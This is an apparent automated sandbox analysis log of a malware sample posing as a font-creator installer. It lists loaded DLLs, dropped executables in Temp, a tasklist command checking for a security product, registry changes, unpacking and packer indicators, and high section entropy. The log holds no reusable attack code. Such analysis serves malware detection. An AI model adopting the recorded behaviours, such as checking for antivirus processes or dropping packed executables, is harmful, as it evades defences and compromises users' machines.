Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: apphelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH

Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2900480 > 1048576

Source: file.exe

Static PE information: Raw size of xtefpcuz is bigger than: 0x100000 < 0x298800

Source:	Binary string: C:\dvs\p4\build\sw\devrel\Playpen\yyao\VRBench\VR-FCAT\FVSDK_rel_1_0\Symbols\FCAT_DT_Capture_x64.pdb source: is-5MQTR.tmp.11.dr
Source:	Binary string: C:\dvs\p4\build\sw\devrel\Playpen\yyao\VRBench\VR-FCAT\FVSDK_rel_1_0\Symbols\FCAT_DT_Capture_x64.pdbz source: is-5MQTR.tmp.11.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: FT773VWATWFL9SRK5RTU4.exe, 00000002.00000003.1848208544.0000000005050000.00000004.00001000.00020000.00000000.sdmp, FT773VWATWFL9SRK5RTU4.exe, 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Unpacked PE file: 2.2.FT773VWATWFL9SRK5RTU4.exe.a50000.0.unpack :EW;.rsrc:W;.idata :W;mvtnwoxp:EW;zodzljtk:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Unpacked PE file: 3.2.KOLH45MMED0OMDDRYHIG.exe.390000.0.unpack :EW;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;oibhsmco:EW;rrchhzpy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: real checksum: 0x2a10c2 should be: 0x2a3962
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: real checksum: 0x1d2034 should be: 0x1d0a13
Source: fontcreator.tmp.21.dr	Static PE information: real checksum: 0x0 should be: 0x344343
Source: 9eba8044e7.exe.7.dr	Static PE information: real checksum: 0x2c9e3f should be: 0x2cf312
Source: fontcreator.tmp.31.dr	Static PE information: real checksum: 0x0 should be: 0x344343
Source: fontcreator.tmp.8.dr	Static PE information: real checksum: 0x0 should be: 0x344343
Source: fontcreator.exe0.7.dr	Static PE information: real checksum: 0x5ee9e5 should be: 0x5e3598
Source: 1553f88169.exe.7.dr	Static PE information: real checksum: 0x2090fd should be: 0x20d196
Source: fontcreator[1].exe.7.dr	Static PE information: real checksum: 0x5ee9e5 should be: 0x5e3598
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: real checksum: 0x2a10c2 should be: 0x2a3962
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2c9e3f should be: 0x2cf312
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: real checksum: 0x1d2034 should be: 0x1d0a13
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x2090fd should be: 0x20d196
Source: file.exe	Static PE information: real checksum: 0x2c9e3f should be: 0x2cf312
Source: fontcreator.tmp.10.dr	Static PE information: real checksum: 0x0 should be: 0x344343
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1d2034 should be: 0x1d0a13
Source: num[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: fontcreator.exe.7.dr	Static PE information: real checksum: 0x5ee9e5 should be: 0x5e3598

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: xtefpcuz
Source: file.exe	Static PE information: section name: uqweurro
Source: file.exe	Static PE information: section name: .taggant
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name:
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: .idata
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: mvtnwoxp
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: zodzljtk
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: .taggant
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name:
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: .idata
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name:
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: oibhsmco
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: rrchhzpy
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: oibhsmco
Source: skotes.exe.3.dr	Static PE information: section name: rrchhzpy
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: xtefpcuz
Source: random[1].exe.7.dr	Static PE information: section name: uqweurro
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: 9eba8044e7.exe.7.dr	Static PE information: section name:
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: .idata
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: xtefpcuz
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: uqweurro
Source: 9eba8044e7.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: jfbmubxy
Source: random[1].exe0.7.dr	Static PE information: section name: qpyydaeu
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: 1553f88169.exe.7.dr	Static PE information: section name:
Source: 1553f88169.exe.7.dr	Static PE information: section name: .rsrc
Source: 1553f88169.exe.7.dr	Static PE information: section name: .idata
Source: 1553f88169.exe.7.dr	Static PE information: section name:
Source: 1553f88169.exe.7.dr	Static PE information: section name: jfbmubxy
Source: 1553f88169.exe.7.dr	Static PE information: section name: qpyydaeu
Source: 1553f88169.exe.7.dr	Static PE information: section name: .taggant
Source: fontcreator[1].exe.7.dr	Static PE information: section name: .didata
Source: fontcreator.exe.7.dr	Static PE information: section name: .didata
Source: fontcreator.exe0.7.dr	Static PE information: section name: .didata
Source: fontcreator.tmp.8.dr	Static PE information: section name: .didata
Source: fontcreator.tmp.10.dr	Static PE information: section name: .didata
Source: is-5MQTR.tmp.11.dr	Static PE information: section name: .didat
Source: fontcreator.tmp.21.dr	Static PE information: section name: .didata
Source: fontcreator.tmp.31.dr	Static PE information: section name: .didata
Source: is-GF03F.tmp.32.dr	Static PE information: section name: .didat
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name:
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: .idata
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: mvtnwoxp
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: zodzljtk
Source: SWJQ0719J9GFR3PZ91XO7LBLZA7.exe.59.dr	Static PE information: section name: .taggant
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name:
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: .idata
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name:
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: oibhsmco
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: rrchhzpy
Source: 7URDKE3CJSA37VV3INEEM0S4N1C.exe.59.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC005 push edi; ret	0_3_007FC006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC005 push edi; ret	0_3_007FC006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FE2C5 push ebx; ret	0_3_007FE2D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FE2C5 push ebx; ret	0_3_007FE2D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB35C push eax; iretd	0_3_007FB37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB35C push eax; iretd	0_3_007FB37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB350 pushad ; retf	0_3_007FB355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB350 pushad ; retf	0_3_007FB355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FBFF3 push ecx; iretd	0_3_007FC003
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FBFF3 push ecx; iretd	0_3_007FC003
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FCF98 push eax; iretd	0_3_007FCF99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FCF98 push eax; iretd	0_3_007FCF99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB793 push ss; iretd	0_3_007FB798
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB793 push ss; iretd	0_3_007FB798
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007F5E33 push 00000010h; ret	0_3_007F5E36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC005 push edi; ret	0_3_007FC006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FC005 push edi; ret	0_3_007FC006
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00802839 push E0654E62h; retf	0_3_00802861
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FE2C5 push ebx; ret	0_3_007FE2D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FE2C5 push ebx; ret	0_3_007FE2D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB35C push eax; iretd	0_3_007FB37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB35C push eax; iretd	0_3_007FB37D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_008027A3 push 3545496Eh; iretd	0_3_008027A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB350 pushad ; retf	0_3_007FB355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FB350 pushad ; retf	0_3_007FB355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007FBFF3 push ecx; iretd	0_3_007FC003

Source: file.exe	Static PE information: section name: entropy: 7.971690331249355
Source: FT773VWATWFL9SRK5RTU4.exe.0.dr	Static PE information: section name: entropy: 7.731248083173909
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: entropy: 7.9848712865388904
Source: KOLH45MMED0OMDDRYHIG.exe.0.dr	Static PE information: section name: oibhsmco entropy: 7.953838967160532
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.9848712865388904
Source: skotes.exe.3.dr	Static PE information: section name: oibhsmco entropy: 7.953838967160532
